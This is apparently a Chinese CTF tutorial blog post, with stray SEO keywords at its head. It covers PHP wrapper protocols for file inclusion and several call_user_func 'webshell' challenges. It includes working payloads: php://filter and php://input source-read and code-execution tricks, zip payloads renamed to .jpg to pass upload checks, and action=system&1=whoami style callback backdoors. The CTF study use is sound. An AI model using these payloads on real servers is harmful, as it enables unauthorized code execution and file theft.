做网站策划书文档,网站seo推广平台,网站成功案例设计,网络推广具体内容PHP伪协议#xff1a;
一.【file://协议】
PHP.ini#xff1a;
file:// 协议在双off的情况下也可以正常使用#xff1b;
allow_url_fopen #xff1a;off/on
allow_url_include#xff1a;off/on
file:// 用于访问本地文件系统#xff0c;在CTF中通常用来读取本地文… PHP伪协议
一.【file://协议】
PHP.ini
file:// 协议在双off的情况下也可以正常使用
allow_url_fopen off/on
allow_url_includeoff/on
file:// 用于访问本地文件系统在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响 file:// [文件的绝对路径和文件名]
http://127.0.0.1/test.php?Bxfile://D:\phpstudy_pro\WWW\2.php 二.【php://协议】
条件
不需要开启allow_url_fopen仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流I/O streams在CTF中经常使用的是php://filter和php://inputphp://filter用于读取源码php://input用于执行php代码。
参考自PHP: php:// - Manual
php://filter 读取源代码并进行base64编码输出不然会直接当做php代码执行就看不到源代码内容了。
PHP.ini
php://filter在双off的情况下也可以正常使用
allow_url_fopen off/on
allow_url_includeoff/on 测试 php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
PHP.ini
allow_url_fopen off/on
allow_url_includeon 默认是off一般用不了 测试 三.【zip://, bzip2://, zlib://协议】 压缩、重命名
PHP.ini
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用
allow_url_fopen off/on
allow_url_includeoff/on zip://, bzip2://, zlib:// 均属于压缩流可以访问压缩文件中的子文件更重要的是不需要指定后缀名。
参考自PHP: zlib:// - Manual 1.【zip://协议】
使用方法
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
测试现象 先将要执行的PHP代码写好文件名为2.txt将2.txt进行zip压缩,压缩文件名为2.zip,如果可以上传zip文件便直接上传若不能便将2.zip重命名为2.jpg后在上传其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23且此处经过测试相对路径是不可行所以只能用绝对路径。
以下两个需要在linux下测试windows不能成功用法都一样
2.【bzip2://协议】
使用方法
compress.bzip2://file.bz2
3.【zlib://协议】
使用方法
compress.zlib://file.gz
四.【data://协议】
经过测试官方文档上存在一处问题经过测试PHP版本5.25.35.57.0data:// 协议是是受限于allow_url_fopen的官方文档上给出的是NO所以要使用data://协议需要满足双on条件
PHP.ini
data://协议必须双在on才能正常使用
allow_url_fopen on
allow_url_includeon 测试 五. 常规小结
PHP封装协议在CTF蛮常见的是经常会遇到的出题点如下便是对本篇涉及的封装协议进行的总结期待小伙伴的交流和补充。 webshell
第一题
?php$action $_GET[action];
$parameters $_GET;
if (isset($parameters[action])) {unset($parameters[action]);
}$a call_user_func($action, ...$parameters);分析
1.call_user_func — 把第一个参数作为回调函数调用
2.isset — 检测变量是否已声明并且其值不为 null
3.unset — 清除指定变量
4.action要接一个类似于system 的函数在if循环里检测了action关键字然后用unset删掉了所以传到$a里的parameters不含action
提示usort变长参数回调后门
usort — 使用用户自定义的比较函数对数组中的值进行排序
简单 ?actionsystem1whoami action接到了systemparameters接到的是整个然后unset把action删掉后就变成了1whoami ?actionusort0[0]system0[1]whoami1call_user_func 第二题
加了个POST
?php$action $_GET[action];
$parameters $_GET;
if (isset($parameters[action])) {unset($parameters[action]);
}call_user_func($action, $parameters)($_POST[a])($_POST[b]);
开始套娃
call_user_func会把action的参数作为函数调用而有这么一个函数current 使用HackBar 导入urlactioncurrent1current call_user_func会使用current函数会变形为current($parameters),通过打印会看到$parameters是一个数组所以又会变形为current$_POST[a])($_POST[b]最后只要将POST[a]传递为一个数组就好了 第三题
?php
$action $_GET[action];
$parameters $_GET;
if (isset($parameters[action])) {unset($parameters[action]);
}call_user_func($action, $parameters);if(count(glob(__DIR__./*))3){readfile(flag.txt);
} 分析
只有在这个目录下存在三个以上文件时才能读出flag.txt所以要创建文件,在php中有这么一个函数
PHP: session_start - Manual 在启用一个新的会话时会自动创建一个session文件但是这个session文件默认的路径是/tmp
所以我们还要修改路径又引出了这个函数
PHP: session_save_path - Manual 那我们需要知道要在哪里创建文件不是上帝视角可以传递一个错误的参数有可能会有报错 开始 ?actionsession_startsave_pathD:\phpstudy_pro\WWW\test\ 这样就生成了一个session文件 但是还是不够三个只要修改cookie就可以了或者换个浏览器 第四题
?php
Class A{static function f(){system($_POST[a]);}
}$action $_GET[action];
$parameters $_GET;
if (isset($parameters[action])) {
unset($parameters[action]);
}call_user_func($action, $parameters);
?